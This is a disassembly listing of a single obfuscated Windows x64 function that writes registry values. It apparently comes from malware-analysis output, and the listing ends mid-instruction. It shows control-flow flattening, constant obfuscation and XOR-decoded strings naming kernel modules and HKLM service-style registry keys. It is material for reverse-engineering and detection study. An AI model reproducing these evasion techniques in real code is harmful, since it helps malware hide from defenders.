Function at 0x14023a2bc
Capabilities:
Set registry value

Disassembly:
push rax
pushf
mov eax, 0xbb8132e6
pushf
not eax
add eax, 0xbac925b1
xor eax, 0xe3458cee
rol eax, 0xea
popf
pushf
not eax
add eax, 0x88b3f6ae
xor eax, 0x92c00b84
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xaf1ff031
xor eax, 0xce175781
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x976e9a0d
xor eax, 0xe4c1267b
rol eax, 0x6e
popf
cmp eax, 4
jne 0x14023a31f
popf
pop rax
jmp 0x14023b460
cmp eax, 0
jne 0x14023a32e
popf
pop rax
jmp 0x14023a3d3
cmp eax, 3
jne 0x14023a33d
popf
pop rax
jmp 0x14023b3b6
cmp eax, 1
jne 0x14023a34c
popf
pop rax
jmp 0x14023a4fd
cmp eax, 0xa
jne 0x14023a35b
popf
pop rax
jmp 0x14023ba31
cmp eax, 7
jne 0x14023a36a
popf
pop rax
jmp 0x14023b882
cmp eax, 6
jne 0x14023a379
popf
pop rax
jmp 0x14023b564
cmp eax, 0xb
jne 0x14023a388
popf
pop rax
jmp 0x14023ba9c
cmp eax, 0xc
jne 0x14023a397
popf
pop rax
jmp 0x14023bc77
cmp eax, 8
jne 0x14023a3a6
popf
pop rax
jmp 0x14023b91a
cmp eax, 5
jne 0x14023a3b5
popf
pop rax
jmp 0x14023b496
cmp eax, 2
jne 0x14023a3c4
popf
pop rax
jmp 0x14023a546
cmp eax, 9
jne 0x14023a3d3
popf
pop rax
jmp 0x14023ba26
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rbp + 0x290], rax
mov rbx, r8
mov qword [rbp + 0x58], rdx
xor edx, edx
mov dword [rbp + 0x70], 1
mov r8d, 0xc441ec8f
pushf
not r8d
add r8d, 0xb69c9f30
xor r8d, 0xcce63242
rol r8d, 0x6e
popf
pushf
not r8d
add r8d, 0xb7953158
xor r8d, 0x975ce0a8
rol r8d, 0x1b
popf
lea rcx, [rbp + 0x80]
call fcn.14004a970
cmp qword [rbx + 0x18], 8
jb 0x14023a4b7
push rax
pushf
mov eax, 0xad8adcb3
pushf
not eax
add eax, 0xd22bb0b3
xor eax, 0xf6c9071c
rol eax, 0x11
popf
pushf
not eax
add eax, 0xc964f7fc
xor eax, 0xbbe84c4f
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x8b8b807b
xor eax, 0xe6989bc9
rol eax, 0x31
popf
pushf
not eax
add eax, 0xcfa99a91
xor eax, 0xd9b4ec1b
rol eax, 0x46
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0xd120f3bb
pushf
not eax
add eax, 0x979e8bfc
xor eax, 0xa6faaeb9
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xafcc820a
xor eax, 0x99e68879
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x83fe03b1
xor eax, 0xf416c7b4
rol eax, 0x6e
popf
jmp 0x14023a310
mov rbx, qword [rbx]
push rax
pushf
mov eax, 0x842b45d1
pushf
not eax
add eax, 0xe53ef982
xor eax, 0xd47fd14c
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc888dc4d
xor eax, 0xc604acc7
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xebe35ce6
xor eax, 0xa7b4fad2
rol eax, 0x36
popf
jmp 0x14023a310
mov r9, rbx
lea r8, [0x1a79a16b6]
pushf
sub r8, 0x678a8f3e
popf
mov edx, 0x51ce73ff
pushf
not edx
add edx, 0x844471f6
xor edx, 0xc672f8f8
rol edx, 0xe
popf
pushf
not edx
add edx, 0xcf5a88de
xor edx, 0x8e16cbfc
rol edx, 0xe3
popf
lea rcx, [rbp + 0x80]
call fcn.1402e9571
mov ebx, 0x63aad66c
pushf
not ebx
add ebx, 0x853e8dd8
xor ebx, 0xdc657168
rol ebx, 0xae
popf
pushf
not ebx
add ebx, 0xf4a1fd52
xor ebx, 0xade14c68
rol ebx, 0xdd
popf
pushf
not ebx
add ebx, 0xf6f62b4d
xor ebx, 0xdae95a29
rol ebx, 0xd5
popf
pushf
not ebx
add ebx, 0xbac98fa3
xor ebx, 0xd33910dd
rol ebx, 0xbd
popf
mov eax, 0x5538856b
pushf
not eax
add eax, 0x8d2946d1
xor eax, 0xb3a3b54c
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe2dcb7c7
xor eax, 0xb07bea82
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xd65e8b61
xor eax, 0xe208e959
rol eax, 0xae
popf
mov word [rsp + 0x42], ax
mov edx, 0x2866fff6
pushf
not edx
add edx, 0x8695edde
xor edx, 0x93aeb7dc
rol edx, 0x27
popf
pushf
not edx
add edx, 0xb4717a68
xor edx, 0xbc445c81
rol edx, 0xe8
popf
mov eax, 0x8ce17385
pushf
not eax
add eax, 0xde818ba5
xor eax, 0x9674bd92
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xb0b9bcd8
xor eax, 0xd27b17ad
rol eax, 0xa4
popf
mov dword [rbp + 0x50], ebx
mov word [rsp + 0x4a], ax
mov r11d, 0x89179b60
pushf
not r11d
add r11d, 0xfc735e89
xor r11d, 0xd0ad4030
rol r11d, 0xed
popf
pushf
not r11d
add r11d, 0x87c2ee8a
xor r11d, 0xbe7fda0b
rol r11d, 0xcb
popf
movzx eax, word [0x1400f87d4]
lea r9d, [rbx + 0x25]
xor ax, bx
mov word [rbp - 0x40], bx
mov word [rsp + 0x54], ax
lea r10d, [rbx + 0x14]
movzx eax, word [0x1400f87d6]
lea r8d, [rbx + 0x2c]
xor ax, bx
mov word [rsp + 0x7e], r11w
mov word [rsp + 0x56], ax
mov edi, 0x67d370bb
pushf
not edi
add edi, 0xe47899be
xor edi, 0xa9dc6d28
rol edi, 0x8d
popf
pushf
not edi
add edi, 0x957c72c3
xor edi, 0x88f71812
rol edi, 0x86
popf
movzx eax, word [str.NtShutdownSystem]
mov ecx, 0xf5841b23
pushf
not ecx
add ecx, 0xeacfcc88
xor ecx, 0x89dcdf48
rol ecx, 0x62
popf
pushf
not ecx
add ecx, 0xc3f3de2e
xor ecx, 0xd13e257c
rol ecx, 0xf
popf
xor ax, bx
mov dword [rsp + 0x34], edi
mov word [rsp + 0x58], ax
movzx eax, word [0x1400f87da]
xor ax, bx
mov word [rbp - 0x80], dx
mov word [rsp + 0x5a], ax
movzx eax, word [0x1400f87dc]
xor ax, bx
mov word [rsp + 0x38], r9w
mov word [rsp + 0x5c], ax
movzx eax, word [0x1400f87de]
xor ax, bx
mov word [rsp + 0x3a], r10w
mov word [rsp + 0x5e], ax
movzx eax, word [0x1400f87e0]
xor ax, bx
mov word [rsp + 0x3c], cx
mov word [rsp + 0x60], ax
movzx eax, word [0x1400f87e2]
xor ax, bx
mov word [rsp + 0x3e], r10w
mov word [rsp + 0x62], ax
movzx eax, word [0x1400f87e4]
xor ax, bx
mov word [rsp + 0x40], dx
mov word [rsp + 0x64], ax
movzx eax, word [0x1400f87e6]
xor ax, bx
mov word [rsp + 0x44], r9w
mov word [rsp + 0x66], ax
movzx eax, word [0x1400f87e8]
xor ax, bx
mov word [rsp + 0x46], r10w
mov word [rsp + 0x68], ax
movzx eax, word [0x1400f87ea]
xor ax, bx
mov word [rsp + 0x48], r8w
mov word [rsp + 0x6a], ax
movzx eax, word [0x1400f87ec]
xor ax, bx
mov word [rsp + 0x4c], r9w
mov word [rsp + 0x6c], ax
movzx eax, word [0x1400f87ee]
xor ax, bx
mov word [rsp + 0x4e], dx
mov word [rsp + 0x6e], ax
movzx eax, word [str._ntoskrnl.exe]
xor ax, bx
mov word [rsp + 0x50], r9w
mov word [rsp + 0x70], ax
movzx eax, word [0x1400f87f2]
xor ax, bx
mov word [rsp + 0x52], r11w
movzx r13d, word [0x1400f87fa]
movzx r12d, word [0x1400f87fc]
xor r13w, bx
movzx r15d, word [0x1400f87fe]
xor r12w, bx
movzx r14d, word [str.win32kbase.sys]
xor r15w, bx
movzx esi, word [0x1400f8802]
xor r14w, bx
movzx edi, word [0x1400f8804]
xor si, bx
movzx r11d, word [0x1400f8808]
xor di, bx
movzx r10d, word [0x1400f880a]
xor r11w, 0x3a
movzx r9d, word [0x1400f880c]
xor r10w, 0x3a
movzx r8d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, 0x3a
movzx edx, word [str.win32kfull.sys]
xor r8w, 0x3a
movzx ecx, word [0x1400f8812]
xor dx, 0x3a
mov word [rsp + 0x7a], r13w
xor cx, 0x3a
mov word [rsp + 0x72], ax
mov r13d, 0x1b1cb296
pushf
not r13d
add r13d, 0xde8b8db9
xor r13d, 0xc1121df3
rol r13d, 0xe1
popf
pushf
not r13d
add r13d, 0x94caa74a
xor r13d, 0x8fd03da7
rol r13d, 0x16
popf
movzx eax, word [0x1400f87f4]
xor ax, bx
mov word [rsp + 0x7c], r12w
mov r12d, 0x9e6ab5fb
pushf
not r12d
add r12d, 0xb9d14e3d
xor r12d, 0xad363507
rol r12d, 7
popf
pushf
not r12d
add r12d, 0xfccddc6d
xor r12d, 0x80bc2efe
rol r12d, 0xf0
popf
pushf
not r12d
add r12d, 0xb6577099
xor r12d, 0x9e69cbcd
rol r12d, 0xf5
popf
mov word [rsp + 0x74], ax
movzx eax, word [0x1400f87f6]
xor r13w, r12w
mov word [rbp - 0x3e], r13w
xor ax, bx
mov word [rsp + 0x76], ax
mov r13d, 0xa98eef80
pushf
not r13d
add r13d, 0xae59a19b
xor r13d, 0xb06990cb
rol r13d, 0xe2
popf
pushf
not r13d
add r13d, 0xd8a258ae
xor r13d, 0x99ce746f
rol r13d, 0xc9
popf
pushf
not r13d
add r13d, 0xd59ce27c
xor r13d, 0xbecb01e3
rol r13d, 0xdf
popf
pushf
not r13d
add r13d, 0x8c877afd
xor r13d, 0xbc55928d
rol r13d, 0x70
popf
movzx eax, word [0x1400f87f8]
xor r13w, r12w
mov word [rbp - 0x3c], r13w
xor ax, bx
movzx r13d, word [rsp + 0x7e]
movzx ebx, word [0x1400f8806]
xor r13w, r12w
mov word [rbp - 0x3a], r13w
xor bx, 0x3a
mov r13d, 0xfd2cd505
pushf
not r13d
add r13d, 0xec3c8b21
xor r13d, 0xf4e7a975
rol r13d, 0x5e
popf
pushf
not r13d
add r13d, 0xa6b10c17
xor r13d, 0xf84bd0f5
rol r13d, 0xcb
popf
pushf
not r13d
add r13d, 0x86002595
xor r13d, 0x9e61ae55
rol r13d, 0x2e
popf
mov word [rsp + 0x78], ax
movzx eax, word [0x1400f8814]
xor r13w, r12w
mov word [rbp - 0x38], r13w
xor ax, 0x3a
mov r13d, 0x98152853
pushf
not r13d
add r13d, 0x8dbc1ba7
xor r13d, 0xf82efafc
rol r13d, 0x6b
popf
pushf
not r13d
add r13d, 0x92cbd656
xor r13d, 0x80e07325
rol r13d, 0xdc
popf
pushf
not r13d
add r13d, 0x8a592041
xor r13d, 0xcf01cb18
rol r13d, 0x3a
popf
pushf
not r13d
add r13d, 0xf5e4cf31
xor r13d, 0xc419e357
rol r13d, 0xf4
popf
mov word [rsp + 0x30], r15w
xor r13w, r12w
mov r15d, 0xb0ab6481
pushf
not r15d
add r15d, 0xd238c6fb
xor r15d, 0xbd29c50a
rol r15d, 0x4c
popf
pushf
not r15d
add r15d, 0xb3e04261
xor r15d, 0xee7158f1
rol r15d, 0xf1
popf
pushf
not r15d
add r15d, 0xdf8b0fb1
xor r15d, 0xe1dfa252
rol r15d, 0x17
popf
pushf
not r15d
add r15d, 0xcdb475be
xor r15d, 0xe444c208
rol r15d, 0x1e
popf
mov word [rbp - 0x36], r13w
mov r12d, 0x6e591dd8
pushf
not r12d
add r12d, 0xf57df5a8
xor r12d, 0xaefedc10
rol r12d, 0xf9
popf
pushf
not r12d
add r12d, 0xbd72fea4
xor r12d, 0xd49f4a8c
rol r12d, 0xc9
popf
xor r12w, word [rbp + 0x50]
mov r13d, 0xf84b6e83
pushf
not r13d
add r13d, 0x87c9a1b8
xor r13d, 0xa7f8e16e
rol r13d, 0x24
popf
pushf
not r13d
add r13d, 0x82fbeea4
xor r13d, 0xa068e23d
rol r13d, 0x52
popf
pushf
not r13d
add r13d, 0xa044e9dd
xor r13d, 0xb632db64
rol r13d, 0x59
popf
pushf
not r13d
add r13d, 0xea185cfb
xor r13d, 0xa9eb99b0
rol r13d, 0xf0
popf
mov word [rbp - 0x34], r12w
mov r12d, 0xe46a36cf
pushf
not r12d
add r12d, 0xc508b12d
xor r12d, 0xbda82f03
rol r12d, 0x32
popf
pushf
not r12d
add r12d, 0x8e7448c9
xor r12d, 0x9da64afd
rol r12d, 0x8b
popf
pushf
not r12d
add r12d, 0xb362d009
xor r12d, 0xb6120360
rol r12d, 0x1b
popf
pushf
not r12d
add r12d, 0x8508a985
xor r12d, 0x9144675f
rol r12d, 0x3e
popf
xor r13w, r12w
mov word [rbp - 0x32], r13w
movzx r13d, r15w
xor r13w, r12w
mov word [rbp - 0x30], r13w
mov r13d, 0xe1935b8a
pushf
not r13d
add r13d, 0xdc369d7e
xor r13d, 0xf0497cd8
rol r13d, 0x52
popf
pushf
not r13d
add r13d, 0xd704045b
xor r13d, 0x995de279
rol r13d, 0xd2
popf
pushf
not r13d
add r13d, 0xec8d5585
xor r13d, 0xe15f6955
rol r13d, 0x43
popf
xor r13w, r12w
mov word [rbp - 0x2e], r13w
mov r13d, 0xcec9bd4f
pushf
not r13d
add r13d, 0xe162d962
xor r13d, 0xf70858e3
rol r13d, 0xb4
popf
pushf
not r13d
add r13d, 0xcb098433
xor r13d, 0xe6cfcf2f
rol r13d, 0xa2
popf
pushf
not r13d
add r13d, 0xbfc798f1
xor r13d, 0xdbb45115
rol r13d, 0x7c
popf
pushf
not r13d
add r13d, 0xc60cd962
xor r13d, 0xed04d3cf
rol r13d, 0xe6
popf
xor r13w, r12w
mov word [rbp - 0x2c], r13w
movzx r13d, word [rbp - 0x80]
xor r13w, r12w
mov word [rbp - 0x2a], r13w
movzx r13d, word [rsp + 0x38]
xor r13w, r12w
mov word [rbp - 0x28], r13w
mov r13d, 0xc4a79775
pushf
not r13d
add r13d, 0xf540b43a
xor r13d, 0xfa48cc1e
rol r13d, 0x36
popf
pushf
not r13d
add r13d, 0xf8459345
xor r13d, 0x816d8d02
rol r13d, 0x2a
popf
pushf
not r13d
add r13d, 0xd08c52bf
xor r13d, 0xd32809bb
rol r13d, 0xf2
popf
xor r13w, r12w
mov word [rbp - 0x26], r13w
movzx r13d, word [rsp + 0x3a]
xor r13w, r12w
mov word [rbp - 0x24], r13w
movzx r13d, r15w
xor r13w, r12w
mov word [rbp - 0x22], r13w
mov r13d, 0xeffa9995
pushf
not r13d
add r13d, 0x8cf32763
xor r13d, 0x90c2d7c6
rol r13d, 0xe8
popf
pushf
not r13d
add r13d, 0x8eb3aa4e
xor r13d, 0xddf2cd62
rol r13d, 0x84
popf
pushf
not r13d
add r13d, 0x86d6a58d
xor r13d, 0xec21a9d4
rol r13d, 0x19
popf
xor r13w, r12w
mov word [rbp - 0x20], r13w
movzx r13d, word [rsp + 0x3c]
xor r13w, r12w
mov word [rbp - 0x1e], r13w
movzx r13d, word [rsp + 0x3e]
xor r13w, r12w
mov word [rbp - 0x1c], r13w
movzx r13d, word [rsp + 0x40]
xor r13w, r12w
mov word [rbp - 0x1a], r13w
movzx r13d, word [rsp + 0x42]
xor r13w, r12w
mov word [rbp - 0x18], r13w
mov r13d, 0xa6a3b908
pushf
not r13d
add r13d, 0xf2bd95c0
xor r13d, 0x842c898b
rol r13d, 0x8c
popf
pushf
not r13d
add r13d, 0xe2503268
xor r13d, 0x8caa65e4
rol r13d, 0x70
popf
xor r13w, r12w
mov word [rbp - 0x16], r13w
mov r13d, 0xf9b6619c
pushf
not r13d
add r13d, 0xafdfb6d6
xor r13d, 0xa915b058
rol r13d, 0x71
popf
pushf
not r13d
add r13d, 0xb300d017
xor r13d, 0x943e90ac
rol r13d, 0x7d
popf
pushf
not r13d
add r13d, 0xbdc055ce
xor r13d, 0x8e405887
rol r13d, 0xbb
popf
xor r13w, r12w
mov word [rbp - 0x14], r13w
movzx r13d, word [rsp + 0x44]
xor r13w, r12w
mov word [rbp - 0x12], r13w
movzx r13d, word [rsp + 0x46]
xor r13w, r12w
mov word [rbp - 0x10], r13w
movzx r13d, word [rsp + 0x48]
xor r13w, r12w
mov word [rbp - 0xe], r13w
movzx r13d, word [rsp + 0x4a]
xor r13w, r12w
mov word [rbp - 0xc], r13w
movzx r13d, word [rsp + 0x4c]
xor r13w, r12w
mov word [rbp - 0xa], r13w
movzx r13d, word [rsp + 0x4e]
xor r13w, r12w
mov word [rbp - 8], r13w
mov r13d, 0x6623c8a9
pushf
not r13d
add r13d, 0xffd6de6b
xor r13d, 0x98a5ee50
rol r13d, 0x25
popf
pushf
not r13d
add r13d, 0xdbd7ac1a
xor r13d, 0xd3e480f5
rol r13d, 0xa9
popf
pushf
not r13d
add r13d, 0xc99617c5
xor r13d, 0x906ffeee
rol r13d, 0x90
popf
xor r13w, r12w
mov word [rbp - 6], r13w
mov r13d, 0xe69ab2c
pushf
not r13d
add r13d, 0x898bf5d7
xor r13d, 0x8ee01028
rol r13d, 0xe6
popf
pushf
not r13d
add r13d, 0xfafb6259
xor r13d, 0x8a66599b
rol r13d, 0xf5
popf
xor r13w, r12w
mov word [rbp - 4], r13w
mov r13d, 0xee5e4a4f
pushf
not r13d
add r13d, 0xa7b0d93f
xor r13d, 0xf56e722f
rol r13d, 0xfa
popf
pushf
not r13d
add r13d, 0xef88402d
xor r13d, 0xe8c5b4cd
rol r13d, 0x22
popf
pushf
not r13d
add r13d, 0xa258c4b3
xor r13d, 0xd10ce0e2
rol r13d, 0x88
popf
xor r13w, r12w
mov word [rbp - 2], r13w
movzx r13d, word [rsp + 0x50]
xor r13w, r12w
mov word [rbp], r13w
movzx r13d, word [rsp + 0x52]
xor r13w, r12w
mov word [rbp + 2], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp + 4], r13w
movzx r13d, word [rsp + 0x54]
xor r13w, r12w
mov word [rbp + 6], r13w
movzx r13d, word [rsp + 0x56]
xor r13w, r12w
mov word [rbp + 8], r13w
movzx r13d, word [rsp + 0x58]
xor r13w, r12w
mov word [rbp + 0xa], r13w
movzx r13d, word [rsp + 0x5a]
xor r13w, r12w
mov word [rbp + 0xc], r13w
movzx r13d, word [rsp + 0x5c]
xor r13w, r12w
mov word [rbp + 0xe], r13w
movzx r13d, word [rsp + 0x5e]
xor r13w, r12w
movzx r15d, word [rsp + 0x30]
mov word [rbp + 0x10], r13w
movzx r13d, word [rsp + 0x60]
xor r13w, r12w
mov word [rbp + 0x12], r13w
movzx r13d, word [rsp + 0x62]
xor r13w, r12w
mov word [rbp + 0x14], r13w
movzx r13d, word [rsp + 0x64]
xor r13w, r12w
mov word [rbp + 0x16], r13w
movzx r13d, word [rsp + 0x66]
xor r13w, r12w
mov word [rbp + 0x18], r13w
movzx r13d, word [rsp + 0x68]
xor r13w, r12w
mov word [rbp + 0x1a], r13w
movzx r13d, word [rsp + 0x6a]
xor r13w, r12w
mov word [rbp + 0x1c], r13w
movzx r13d, word [rsp + 0x6c]
xor r13w, r12w
mov word [rbp + 0x1e], r13w
movzx r13d, word [rsp + 0x6e]
xor r13w, r12w
mov word [rbp + 0x20], r13w
movzx r13d, word [rsp + 0x70]
xor r13w, r12w
mov word [rbp + 0x22], r13w
movzx r13d, word [rsp + 0x72]
xor r13w, r12w
mov word [rbp + 0x24], r13w
movzx r13d, word [rsp + 0x74]
xor r13w, r12w
mov word [rbp + 0x26], r13w
movzx r13d, word [rsp + 0x76]
xor r13w, r12w
mov word [rbp + 0x28], r13w
movzx r13d, word [rsp + 0x78]
xor r13w, r12w
mov word [rbp + 0x2a], r13w
movzx r13d, word [rsp + 0x7a]
xor r13w, r12w
movzx r12d, word [rsp + 0x7c]
mov word [rbp + 0x2c], r13w
mov r13d, 0xaba08107
pushf
not r13d
add r13d, 0xc9a6e40e
xor r13d, 0xc0467c4f
rol r13d, 0xa6
popf
pushf
not r13d
add r13d, 0xe786d029
xor r13d, 0xa526deb4
rol r13d, 0xb2
popf
pushf
not r13d
add r13d, 0x9819b253
xor r13d, 0xd1267f1e
rol r13d, 0x33
popf
pushf
not r13d
add r13d, 0xb01f9e0f
xor r13d, 0x84b8b4d2
rol r13d, 7
popf
xor ax, r13w
xor r8w, r13w
xor dx, r13w
mov word [rbp + 0x46], ax
xor cx, r13w
mov word [rbp + 0x40], r8w
xor eax, eax
mov word [rbp + 0x42], dx
xor r11w, r13w
mov word [rbp + 0x44], cx
xor r10w, r13w
mov word [rbp + 0x48], ax
xor r9w, r13w
mov word [rbp + 0x3a], r11w
xor r12w, r13w
mov word [rbp + 0x3c], r10w
xor r15w, r13w
mov word [rbp + 0x2e], r12w
xor r14w, r13w
mov word [rbp + 0x30], r15w
xor si, r13w
mov word [rbp + 0x32], r14w
xor di, r13w
mov word [rbp + 0x34], si
xor bx, r13w
mov word [rbp + 0x36], di
lea r8, [rbp + 0x68]
mov word [rbp + 0x38], bx
lea rdx, [rbp - 0x3e]
mov word [rbp + 0x3e], r9w
mov rcx, 0xffffffff80000002
jmp 0x14023b309
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x14023b35d
push rax
pushf
mov eax, 0xc7ad4e98
pushf
not eax
add eax, 0xbdd098b7
xor eax, 0xeb4e81cc
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x913de8b4
xor eax, 0xeea10667
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xbf7e07e1
xor eax, 0x89380cc8
rol eax, 0x76
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0xfd3a3c56
pushf
not eax
add eax, 0x9e9aec5e
xor eax, 0xc4e5ad61
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xa7a75d34
xor eax, 0x80360b46
rol eax, 0x69
popf
pushf
not eax
add eax, 0xb3b84ee0
xor eax, 0x88e34332
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xa38a6ebc
xor eax, 0xa8e6f471
rol eax, 0x85
popf
jmp 0x14023a310
mov rax, qword [rbp + 0x58]
cmp qword [rax + 0x18], 8
jb 0x14023b407
push rax
pushf
mov eax, 0x35d562de
pushf
not eax
add eax, 0xa43a91b7
xor eax, 0xa9c44f3b
rol eax, 0x40
popf
pushf
not eax
add eax, 0xbc78a7db
xor eax, 0xa7422e5a
rol eax, 0x55
popf
pushf
not eax
add eax, 0xf7e89042
xor eax, 0x823a1d94
rol eax, 0x50
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0xc4f591d6
pushf
not eax
add eax, 0xb659c6bd
xor eax, 0xa282f268
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xf44a46b7
xor eax, 0xd234f5ed
rol eax, 0x13
popf
pushf
not eax
add eax, 0xc4e34c57
xor eax, 0xe5d8d90c
rol eax, 0x61
popf
pushf
not eax
add eax, 0x9ff954dd
xor eax, 0xb91abbad
rol eax, 0xd5
popf
jmp 0x14023a310
mov rax, qword [rax]
push rax
pushf
mov eax, 0xdaefdb90
pushf
not eax
add eax, 0xe8ea0b7b
xor eax, 0xbb8ddbf4
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb4162812
xor eax, 0xe69b4e32
rol eax, 0xa8
popf
jmp 0x14023a310
mov rcx, qword [rbp + 0x68]
lea r8, [rbp + 0x60]
mov rdx, rax
jmp 0x14023b4a2
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov ebx, eax
test eax, eax
jne 0x14023b50b
push rax
pushf
mov eax, 0x9c242b2e
pushf
not eax
add eax, 0xb40bff99
xor eax, 0xb32c5d1c
rol eax, 0x95
popf
pushf
not eax
add eax, 0xd5cc16d4
xor eax, 0xa3867e1d
rol eax, 0x12
popf
pushf
not eax
add eax, 0xaec6d01b
xor eax, 0xbb048ae6
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xb90ab2f8
xor eax, 0xc57286f1
rol eax, 0x2f
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0x3a626486
pushf
not eax
add eax, 0xbc756681
xor eax, 0x835a0986
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xc466b93b
xor eax, 0xe2eca8ec
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xa48f30da
xor eax, 0x88451efa
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe49efc09
xor eax, 0xa146393f
rol eax, 0xcf
popf
jmp 0x14023a310
movzx esi, word [0x1400f7dde]
lea ebx, [rax + 0x18]
movzx r11d, word [str.Type]
lea r15d, [rax + 0x1c]
movzx r10d, word [0x1400f7de2]
lea r12d, [rax + 0x29]
movzx r9d, word [0x1400f7de4]
lea r13d, [rax + 0xd]
movzx eax, word [0x1400f7ddc]
mov ecx, 0x9b557631
pushf
not ecx
add ecx, 0xb7d5bc36
xor ecx, 0xa63f9614
rol ecx, 0x58
popf
pushf
not ecx
add ecx, 0xf3183637
xor ecx, 0xe25d0f66
rol ecx, 0x98
popf
movzx r8d, word [0x1400f7de6]
xor ax, cx
movzx edx, word [0x1400f7de8]
movzx edi, cx
xor si, cx
mov word [rsp + 0x30], ax
movzx eax, word [0x1400f7dec]
xor r11w, cx
xor r10w, cx
mov word [rbp - 0x78], cx
xor r9w, cx
xor r8w, cx
xor dx, cx
xor ax, di
movzx ecx, word [0x1400f7dea]
mov r14d, 0x33107df4
pushf
not r14d
add r14d, 0x80d38098
xor r14d, 0xfc7385a0
rol r14d, 0xd2
popf
pushf
not r14d
add r14d, 0x9c07f9d3
xor r14d, 0x8e8d6fef
rol r14d, 0x8f
popf
pushf
not r14d
add r14d, 0xd458b978
xor r14d, 0xa96c5afa
rol r14d, 0xa2
popf
pushf
not r14d
add r14d, 0xdd60c055
xor r14d, 0xaa8e5720
rol r14d, 0xc1
popf
xor r14w, word [rsp + 0x34]
xor cx, di
mov word [rbp - 0x76], r14w
mov r14d, 0xb591adb8
pushf
not r14d
add r14d, 0x8c47a67a
xor r14d, 0xee123e51
rol r14d, 0x4a
popf
pushf
not r14d
add r14d, 0x8273a1f3
xor r14d, 0xf7596110
rol r14d, 0x68
popf
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x74], r14w
mov r14d, ebx
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x72], r14w
mov r14d, 0xd23f3b1d
pushf
not r14d
add r14d, 0xcef9e341
xor r14d, 0xa70b0133
rol r14d, 0x59
popf
pushf
not r14d
add r14d, 0xee2c0c57
xor r14d, 0xcd74a938
rol r14d, 0x5f
popf
xor r14w, word [rsp + 0x34]
mov word [rbp - 0x70], r14w
mov r14d, 0x9f7faaf6
pushf
not r14d
add r14d, 0xcfd95ad3
xor r14d, 0xc1e04491
rol r14d, 0xcf
popf
pushf
not r14d
add r14d, 0xbf6b66e8
xor r14d, 0x86571a6a
rol r14d, 0x7d
popf
pushf
not r14d
add r14d, 0xb27e8c08
xor r14d, 0x8b441d7b
rol r14d, 0x2d
popf
xor bx, r14w
xor cx, r14w
mov word [rbp - 0x6a], bx
xor ax, r14w
xor r15w, r14w
mov word [rbp - 0x54], cx
xor r12w, r14w
mov word [rbp - 0x52], ax
xor r13w, r14w
mov word [rbp - 0x6e], r15w
xor di, r14w
mov word [rbp - 0x6c], r12w
xor si, r14w
mov word [rbp - 0x68], r13w
xor r11w, r14w
mov word [rbp - 0x64], di
xor r10w, r14w
mov word [rbp - 0x60], si
xor r9w, r14w
mov word [rbp - 0x5e], r11w
xor r8w, r14w
mov word [rbp - 0x5c], r10w
xor dx, r14w
mov word [rbp - 0x5a], r9w
mov ebx, 0x6dff3c99
pushf
not ebx
add ebx, 0x8a1e6d6f
xor ebx, 0x959608d9
rol ebx, 0x25
popf
pushf
not ebx
add ebx, 0xd12ab0e2
xor ebx, 0xf353dada
rol ebx, 0xe4
popf
pushf
not ebx
add ebx, 0xf2661e5e
xor ebx, 0xbd4fc5b8
rol ebx, 0x10
popf
mov word [rbp - 0x58], r8w
xor bx, r14w
mov word [rbp - 0x56], dx
mov word [rbp - 0x66], bx
lea rcx, [rbp + 0x80]
movzx ebx, word [rsp + 0x30]
mov rax, 0xffffffffffffffff
xor bx, r14w
xor r14d, r14d
mov word [rbp - 0x62], bx
mov word [rbp - 0x50], r14w
nop dword [rax]
push rax
pushf
mov eax, 0x13d1cd5c
pushf
not eax
add eax, 0x90631a54
xor eax, 0xc0bb0519
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xeaf16759
xor eax, 0xff2ec25a
rol eax, 0x3b
popf
jmp 0x14023a310
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14023b8d4
push rax
pushf
mov eax, 0xf0289540
pushf
not eax
add eax, 0xb67f223c
xor eax, 0xfecbcd97
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xdadb4fad
xor eax, 0xf51866cf
rol eax, 0x93
popf
pushf
not eax
add eax, 0x934554e3
xor eax, 0xaffe2ddd
rol eax, 0x35
popf
jmp 0x14023a310
push rax
pushf
mov eax, 0xb254b528
pushf
not eax
add eax, 0xcc8bad40
xor eax, 0xdb025c30
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xb309af33
xor eax, 0xb59b1538
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xf38b1ac7
xor eax, 0x95213602
rol eax, 0x8b
popf
jmp 0x14023a310
lea ecx, [rax*2 + 2]
mov r9d, 0x7dca2b50
pushf
not r9d
add r9d, 0xf433d404
xor r9d, 0xc57a1939
rol r9d, 2
popf
pushf
not r9d
add r9d, 0xcc04076e
xor r9d, 0xdcabe910
